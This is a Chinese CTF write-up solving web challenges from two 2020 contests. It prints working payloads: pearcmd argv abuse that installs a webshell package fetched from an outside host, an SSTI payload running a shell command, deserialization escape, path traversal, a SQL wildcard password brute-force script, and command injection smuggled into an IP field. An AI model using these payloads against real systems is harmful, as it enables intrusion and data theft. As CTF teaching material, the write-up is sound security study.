是好玩的比賽的 WriteUp!

巔峰極客 2020

MeowWorld

首先看 hint register_argc_argv ,開啟環境之後發現在 index.php 有一個簡單的檔案包含。用 PHP 偽協議讀取一圈檔案,發現如下內容。

1
2
3
4
<?php 
$f = $_GET['f'] ?? "home";
include("{$f}.php");
?>

根據 hint 可知,argcargv 兩個引數可以指定,參考 這篇文章 可以知道接下來需要做什麼。既然要用 pearcmd,當然是首先讀一手原始碼,於是利用上面的構造讀取出 pearcmd 的原始碼,找到關鍵部分如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/**
* Safely read the $argv PHP array across different PHP configurations.
* Will take care on register_globals and register_argc_argv ini directives
*
* @return mixed the $argv PHP array or PEAR error if not registered
*/
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if ([email protected]_array($_SERVER['argv'])) {
if ([email protected]_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}

}

可以發現 argv 會被當成引數返回,於是構造 ?f=pearcmd&argv=2+list,得到回顯如下,於是按照文章上的指引,準備一個包。

首先下載 這個包,然後在 Archive_Tar-1.4.0/Archive 下增加一個一句話木馬的 PHP 檔案 zit.php。然後將 ./package.xml 檔案中的 <content> 節點對應修改如下。

1
2
3
4
5
6
7
<contents>
<dir name="/">
<file baseinstalldir="/" md5sum="89b230679f31da6f8dbdea25095f4ca9" name="Archive/Tar.php" role="php" />
<file baseinstalldir="/" md5sum="7cc168393304c0c9c0de96d5e5e318e0" name="Archive/zit.php" role="doc" />
<file baseinstalldir="/" md5sum="2fb90f0be7089a45c09a0d1182792419" name="docs/Archive_Tar.txt" role="doc" />
</dir>
</contents>

將整個包按原格式壓縮還原為 tar.gz,然後上傳至伺服器獲取支鏈 https://v2.api.lemonprefect.cn/static/zips/zit.tar.gz。接下來構造 ?f=pearcmd&argv=list+install+--installroot+/tmp/+https://v2.api.lemonprefect.cn/static/zips/zit.tar.gz,得到包安裝成功的回顯 install ok: channel://pear.php.net/Archive_Tar-1.4.0

此時只需要找到 zit.php 的路由即可,隨便輸入一個之後看到報錯中的關鍵資訊 include_path='.:/usr/local/lib/php',於是拼合包的路徑之後訪問 /tmp/usr/local/lib/php/doc/Archive_Tar/Archive/zit 拿到 shell 的路由。使用蟻劍連線上去,可以看到 /readflag

執行 /readflag 時發現需要計算算術題,但是預設的虛擬終端沒有互動,於是使用 perl 指令碼完成這一步。在 /tmp/tmp 目錄下寫入指令碼並執行即可得 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
use strict;
use IPC::Open3;

my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' )
or die "open3() failed $!";

my $r;
$r = <CHLD_OUT>;
print "$r";

$r = substr($r,0,11);
$r = eval "$r";

print "$r\n";
print CHLD_IN "$r\n";
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";

perl 指令碼執行得到 flag

babyflask

看介面,老 Whoami 了。直接看請求,發現是 SSTI,一套標準拳打出,拿到 flag。

1
.../loged?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}

回顯 flag

CTF Show 月餅杯

此夜圓

1
return str_replace('Firebasky', 'Firebaskyup', $string);

此處造成了簡單的反序列化逃逸,Firebasky 被替換成 Firebaskyup,字元多出兩個。需要構造的反序列化字串可以寫成這樣。

1
O:1:"a":2:{s:5:"uname";s:(這裡是長度):"(這裡是使用者名稱)";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}

總共填充了 30 個字元 ";s:8:"password";s:5:"yu22x";},因此需要 15 次替換才能將這 30 個字元變成後面的反序列化內容。
於是構造出這樣的 payload.

1
?1=FirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyup";s:8:"password";s:5:"yu22x";}

故人心

level 1
使用科學計數法表達一個極小的小數,採用 1e-199
level 2
訪問 .../robots.txt 可以發現 hinthint.txt 進而找到如下提示。

1
2
3
4
5
Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452 hash("md2",$b)
xxxxxx48399 hash("md2",hash("md2",$b))

於是寫個指令碼跑一下 bc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
for($i = 0;$i <= 999;$i++){
$b = sprintf("0e%03d",$i) . "024452";
if($b == hash("md2",$b)){
echo "b = " . $b . "\n";
break;
}
}
for($i = 0; $i <= 9999;$i++){
$c = sprintf("0e%04d",$i) . "48399";
if($c == hash("md2",hash("md2",$c))){
echo "c = " . $c . "\n";
break;
}
}

得到 b = 0e652024452,c = 0e603448399
level 3

php 會把無法解析的協議當成目錄

因此,結合目錄穿越就能讀到 flag。

1
lemon://ctfshow.com/../../../../../../../../../../../../../fl0g.txt

莫負嬋娟

首先看一手頁面原始碼,得到這樣的 hint,使用者名稱是 yu22x

1
2
3
<!--注意:正式上線請刪除註釋內容! -->
<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->

結合題目描述的 hint 環境變數 +linux字串擷取 + 萬用字元,嘗試一波 SQL 的萬用字元。

快看!是萬用字元吶吶吶

依照上圖的結果構造一波 payload 發現當 password 引數為 6_______________________________ 時回顯是不一樣的,於是寫個指令碼跑出密碼。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
const ASCII_START = 32;
const ASCII_END = 127;
$result = "6";
for($i = 0; $i < 31;$i++){
$p = sprintf("%0" . (30 - $i) . "d",0);
if($i == 30){
$p = "";
}
$p = str_replace("0","_",$p);

for($j = ASCII_START;$j <= ASCII_END;$j++){
if($j == 95){
continue; //no "_" to be matched
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, '.../login.php');
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
$postData = array("password" => $result . chr($j) . $p, "username" => "yu22x");
$postData = http_build_query($postData);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
$outcontent = curl_exec($ch);
$httpCode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
curl_close($ch);
printf("Now j is %d,string is %s\n",$j,$result . chr($j) . $p);
if(strpos($outcontent,"I have filtered all the characters. Why can you come in? get out!") || $httpCode == 302){
$result .= chr($j);
echo $result;
break;
}
}
}

可以得到密碼為 67815b0c009ee970fe4014abaa3Fa6A0

New Section
使用環境變數截取出 nl ????.??? 的指令讀取 flag.php

1.1.1.1;${PATH:14:1}${PATH:5:1} ????.???